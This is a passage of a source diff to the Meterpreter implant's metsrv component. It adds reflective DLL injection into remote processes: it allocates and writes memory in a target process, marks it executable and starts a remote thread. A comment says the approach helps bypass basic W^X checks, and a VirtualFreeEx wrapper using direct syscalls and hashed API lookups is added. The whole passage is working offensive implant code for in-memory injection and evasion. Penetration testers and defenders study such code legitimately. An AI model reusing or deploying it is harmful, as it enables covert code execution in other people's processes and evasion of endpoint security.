+ // Convert the RVA to a file offset to get the export directory structure.
+ DWORD dwExportDirOffset = Rva2Offset(pDataDirectory->VirtualAddress, pNtHeaders);
+ if (dwExportDirOffset == 0)
+ return 0;
+
+ PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + dwExportDirOffset);
+
+ // Get pointers to the three critical arrays within the EAT, using file offsets.
+ PDWORD pdwAddressArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfFunctions, pNtHeaders));
+ PDWORD pdwNameArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNames, pNtHeaders));
+ PWORD pwNameOrdinals = (PWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNameOrdinals, pNtHeaders));
+
+ // Search for the loader function by name or by ordinal.
+ if (((DWORD_PTR)cpReflectiveLoaderName >> 16) == 0)
+ {
+ // By ordinal
+ WORD wOrdinal = LOWORD((DWORD_PTR)cpReflectiveLoaderName);
+ DWORD dwOrdinalBase = pExportDirectory->Base;
+
+ if (wOrdinal < dwOrdinalBase || wOrdinal >= dwOrdinalBase + pExportDirectory->NumberOfFunctions)
+ return 0;
+
+ DWORD dwFunctionRva = pdwAddressArray[wOrdinal - dwOrdinalBase];
+ return Rva2Offset(dwFunctionRva, pNtHeaders);
+ }
+ else
+ {
+ // By name
+ for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)
+ {
+ LPCSTR cpExportedFunctionName = (LPCSTR)(uiBaseAddress + Rva2Offset(pdwNameArray[i], pNtHeaders));
+
+ // Use strcmp for a precise match.
+ if (strcmp(cpExportedFunctionName, cpReflectiveLoaderName) == 0)
+ {
+ WORD wFunctionOrdinal = pwNameOrdinals[i];
+ DWORD dwFunctionRva = pdwAddressArray[wFunctionOrdinal];
+ return Rva2Offset(dwFunctionRva, pNtHeaders);
+ }
+ }
+ }
+
+ return 0;
+}
+
+HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName)
+{
+ HMODULE hResult = NULL;
+ DWORD dwReflectiveLoaderOffset;
+ REFLECTIVELOADER pReflectiveLoader;
+ DLLMAIN pDllMain;
+ DWORD dwOldProtect;
+
+ if (lpBuffer == NULL || dwLength == 0)
+ return NULL;
+
+ // Find the file offset of the reflective loader function.
+ dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName);
+ if (dwReflectiveLoaderOffset == 0)
+ return NULL;
+
+ pReflectiveLoader = (ULONG_PTR)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
+
+ // Make the buffer executable so we can call the loader.
+ if (!met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect))
+ return NULL;
+
+ // Call the loader, which performs the mapping and returns a pointer to the new DllMain.
+ pDllMain = (DLLMAIN)pReflectiveLoader();
+ if (pDllMain == NULL)
+ {
+ met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect);
+ return NULL;
+ }
+
+ // Query the newly loaded DllMain for its module handle.
+ if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult))
+ hResult = NULL;
+
+ // Revert the original buffer's memory protection.
+ met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect);
+
+ return hResult;
+}
+
+HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter)
+{
+ LPVOID lpRemoteLibraryBuffer = NULL;
+ HANDLE hThread = NULL;
+ DWORD dwResult = ERROR_SUCCESS;
+ do {
+ if (!hProcess || !lpBuffer || !dwLength)
+ return NULL;
+ // Find the loader's offset within the file buffer.
+ DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName);
+ if(dwActualReflectiveLoaderOffset != 0) {
+ dprintf("[LOADREMOTE] Using effective reflective loader offset: %lu\n", dwActualReflectiveLoaderOffset);
+ dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
+ }
+
+ if (dwReflectiveLoaderOffset == 0) {
+ BREAK_WITH_ERROR("[LOADREMOTE] Failed to find reflective loader offset", ERROR_INVALID_DATA);
+ }
+
+ // Allocate memory in the remote process for the DLL.
+ lpRemoteLibraryBuffer = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+ if (!lpRemoteLibraryBuffer) {
+ BREAK_WITH_ERROR("[LOADREMOTE] Failed to allocate memory in remote process", ERROR_OUTOFMEMORY);
+ }
+
+ // Write the entire DLL buffer into the allocated remote memory.
+ if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
+ {
+ BREAK_WITH_ERROR("[LOADREMOTE] Failed to write library into remote process memory", ERROR_WRITE_FAULT);
+ }
+
+ // Set initial memory permissions to Execute+Read. The loader will later set final
+ // permissions on each section, but this helps bypass some basic W^X checks.
+ DWORD dwOldProt;
+ if (!met_api->win_api.kernel32.VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, &dwOldProt))
+ {
+ BREAK_WITH_ERROR("[LOADREMOTE] Failed to set memory protection in remote process", ERROR_INVALID_PARAMETER);
+ }
+
+ // Calculate the absolute address of the reflective loader in the remote process.
+ LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
+
+ // Create a remote thread to execute the loader.
+ hThread = met_api->win_api.kernel32.CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, 0, NULL);
+ if (!hThread)
+ {
+ BREAK_WITH_ERROR("[LOADREMOTE] Failed to create remote thread", ERROR_INVALID_PARAMETER);
+ }
+ } while (FALSE);
+
+ if(dwResult != ERROR_SUCCESS)
+ {
+ if (lpRemoteLibraryBuffer)
+ {
+ met_api->win_api.kernel32.VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
+ }
+ return NULL;
+ }
+ return hThread;
+}
diff --git a/c/meterpreter/source/metsrv/load_library_r.h b/c/meterpreter/source/metsrv/load_library_r.h
new file mode 100644
index 000000000..54bf53fcb
--- /dev/null
+++ b/c/meterpreter/source/metsrv/load_library_r.h
@@ -0,0 +1,7 @@
+#include "common.h"
+#define DLL_METASPLOIT_ATTACH 4
+#define DLL_METASPLOIT_DETACH 5
+#define DLL_QUERY_HMODULE 6
+typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
+typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
+HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter);
\ No newline at end of file
diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c
index 936be249d..831493747 100644
--- a/c/meterpreter/source/metsrv/metapi.c
+++ b/c/meterpreter/source/metsrv/metapi.c
@@ -4,6 +4,7 @@
#include "remote_thread.h"
#include "unicode.h"
#include "winapi.h"
+#include "load_library_r.h"
MetApi api_instance = {
// PacketApi
@@ -129,6 +130,9 @@ MetApi api_instance = {
inject_via_apcthread,
inject_via_remotethread,
inject_via_remotethread_wow64,
+ {
+ load_library_r,
+ }
},
// DesktopApi
{
@@ -176,6 +180,7 @@ MetApi api_instance = {
winapi_kernel32_VirtualQuery,
winapi_kernel32_VirtualQueryEx,
winapi_kernel32_VirtualFree,
+ winapi_kernel32_VirtualFreeEx,
winapi_kernel32_CreateRemoteThread,
winapi_kernel32_CloseHandle,
winapi_kernel32_DuplicateHandle,
diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c
index 93773e661..897ae5688 100644
--- a/c/meterpreter/source/metsrv/metsrv.c
+++ b/c/meterpreter/source/metsrv/metsrv.c
@@ -12,7 +12,7 @@
#define RDIDLL_NOEXPORT
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c"
-#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
+// #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
DWORD Init(MetsrvConfig* metConfig)
{
diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c
index 010e1eb78..626af8c61 100644
--- a/c/meterpreter/source/metsrv/remote_dispatch.c
+++ b/c/meterpreter/source/metsrv/remote_dispatch.c
@@ -2,6 +2,7 @@
#include "common_metapi.h"
#include "common_exports.h"
#include "server_pivot.h"
+#include "extension_loader.h"
#define GetProcAddressByOrdinal(mod, ord) GetProcAddress(mod, MAKEINTRESOURCEA(ord))
#define GetProcAddressByOrdinalR(mod, ord) GetProcAddressR(mod, MAKEINTRESOURCEA(ord))
@@ -227,6 +228,7 @@ DWORD stagelessinit_extension(UINT extensionId, LPBYTE data, DWORD dataSize)
return ERROR_SUCCESS;
}
+
/*
* @brief Load an extension from the given library handle.
* @param hLibrary handle to the library to load/init.
@@ -374,12 +376,12 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
- LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet);
dprintf("[LOADLIB] here 7");
- // try to load the library via its reflective loader...
- library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader);
- dprintf("[LOADLIB] here 8");
+ // try to load the library via the reflective loader...
+ LoadReflectively((ULONG_PTR)dataTlv.buffer, &library);
+ dprintf("[LOADLIB] LoadReflectively returned, library is %p", library);
+
if (library == NULL)
{
// if that fails, presumably besause the library doesn't support
diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c
index 7572e9931..826264e31 100644
--- a/c/meterpreter/source/metsrv/server_setup.c
+++ b/c/meterpreter/source/metsrv/server_setup.c
@@ -9,6 +9,7 @@
#include "server_transport_tcp.h"
#include "server_transport_named_pipe.h"
#include "packet_encryption.h"
+#include "extension_loader.h"
extern Command* extensionCommands;
@@ -71,7 +72,12 @@ LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExten
while (stagelessExtensions->size > 0)
{
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
- HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER));
+ HMODULE hLibrary = NULL;
+ if(LoadReflectively((ULONG_PTR)stagelessExtensions->dll, &hLibrary) == FALSE || hLibrary == NULL)
+ {
+ dprintf("[SERVER] Failed to load extension reflectively");
+ break;
+ }
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}
diff --git a/c/meterpreter/source/metsrv/winapi.c b/c/meterpreter/source/metsrv/winapi.c
index 01829ec2d..208233c35 100644
--- a/c/meterpreter/source/metsrv/winapi.c
+++ b/c/meterpreter/source/metsrv/winapi.c
@@ -53,6 +53,7 @@ enum HashedFunctions {
H_VirtualQuery = 0xA3C8C8AA,
H_VirtualQueryEx = 0xF45A2B20,
H_VirtualFree = 0x30633AC,
+ H_VirtualFreeEx = 0xC3B4EB78,
H_CreateRemoteThread = 0x72BD9CDD,
H_CloseHandle = 0xFFD97FB,
H_DuplicateHandle = 0xBD566724,
@@ -575,6 +576,22 @@ BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeTy
return FALSE;
}
+BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) {
+ if (hasDirectSyscallSupport()) {
+ SIZE_T dwDataSize = dwSize;
+ NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(hProcess, &lpAddress, &dwDataSize, dwFreeType);
+ dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Syscall ZwFreeVirtualMemory returned: %d", dwStatus);
+ return dwStatus == STATUS_SUCCESS;
+ } else {
+ BOOL (WINAPI *pVirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) = GetFunctionH(KERNEL32_DLL, H_VirtualFreeEx);
+ dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Calling VirtualFreeEx @ %p", pVirtualFreeEx);
+ if (pVirtualFreeEx) {
+ return pVirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType);
+ }
+ }
+ return FALSE;
+}
+
HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) {
HANDLE (WINAPI *pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) = GetFunctionH(KERNEL32_DLL, H_CreateRemoteThread);
if (pCreateRemoteThread) {
diff --git a/c/meterpreter/source/metsrv/winapi.h b/c/meterpreter/source/metsrv/winapi.h
index 9ce57685d..bba1c7a53 100644
--- a/c/meterpreter/source/metsrv/winapi.h
+++ b/c/meterpreter/source/metsrv/winapi.h
@@ -59,6 +59,7 @@ BOOL winapi_kernel32_VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T
SIZE_T winapi_kernel32_VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
SIZE_T winapi_kernel32_VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
BOOL winapi_kernel32_CloseHandle(HANDLE hObject);
BOOL winapi_kernel32_DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj
index 44f2c7c2e..0cd9df5d0 100644
--- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj
+++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj
@@ -547,6 +547,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"
+
@@ -578,6 +579,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"
+
@@ -620,4 +622,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"
-
+
\ No newline at end of file
diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters
index 4fea91254..5be82553e 100644
--- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters
+++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters
@@ -29,6 +29,7 @@
+
@@ -61,9 +62,10 @@
+
-
+
\ No newline at end of file